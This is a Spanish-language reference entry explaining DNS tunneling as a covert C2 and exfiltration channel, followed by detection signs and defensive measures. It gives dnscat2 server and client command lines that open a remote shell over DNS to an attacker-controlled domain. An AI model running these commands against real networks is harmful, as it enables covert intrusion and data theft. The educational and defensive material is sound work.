DNS Tunneling
El DNS tunneling esconde tráfico arbitrario dentro de consultas y respuestas DNS. Es una técnica de evasión y de mando y control (C2) que aprovecha un hecho casi universal: aunque una red bloquee todo el tráfico saliente, casi siempre deja salir el DNS, porque sin resolución de nombres nada funciona. Si el atacante controla un servidor DNS autoritativo para un dominio, puede convertir ese canal aparentemente inocuo en un túnel bidireccional.
Mecanismo
La víctima no envía datos "a" un servidor: hace consultas DNS cuyos nombres codifican la información. Para mandar datos, el cliente pregunta por subdominios como <datos-en-base32>.tunnel.atacante.com; la petición recorre la cadena de resolutores hasta llegar al servidor autoritativo del atacante, que lee el subdominio y extrae los datos. Para responder, el servidor mete la información en registros TXT, CNAME o NULL de la respuesta. Ni la víctima ni el servidor hablan directamente: todo pasa por el resolutor DNS legítimo de la red, que actúa de intermediario sin saberlo.
dnscat2 implementa exactamente esto. En el atacante se levanta el servidor sobre el dominio delegado:
sudo ruby dnscat2.rb --dns host=<lhost>,port=53,domain=<domain> --no-cacheY en la víctima se conecta el cliente, que a partir de ahí ofrece una shell y reenvío de puertos por DNS:
./dnscat --dns server=<lhost>,domain=<domain> --secret=<secret>Requisitos
Hace falta controlar un dominio y delegar su resolución (registro NS) hacia el servidor del atacante, o bien apuntar el cliente directamente a la IP del servidor cuando el DNS interno lo permite. El canal es muy lento (cada bit viaja dentro de un nombre de dominio), así que sirve para C2 discreto y exfiltración de bajo volumen, no para pivotar tráfico pesado.
Cómo detectarlo
Las señales clásicas son consultas DNS anormalmente largas o de alta entropía (subdominios que parecen base32/base64), un volumen desproporcionado de peticiones TXT/NULL hacia un mismo dominio, y un ritmo de consultas sostenido hacia un dominio que nadie visita por web. Un IDS o un análisis del log del resolutor (longitud media del nombre, número de subdominios únicos por dominio) lo delata.
Defensa. Forzar que todo el DNS salga por resolutores internos controlados y registrados, inspeccionar y limitar longitud y frecuencia de las consultas, y alertar sobre dominios con entropía alta o volumen anómalo de TXT. Relacionado con ICMP tunneling y port forwarding dinámico.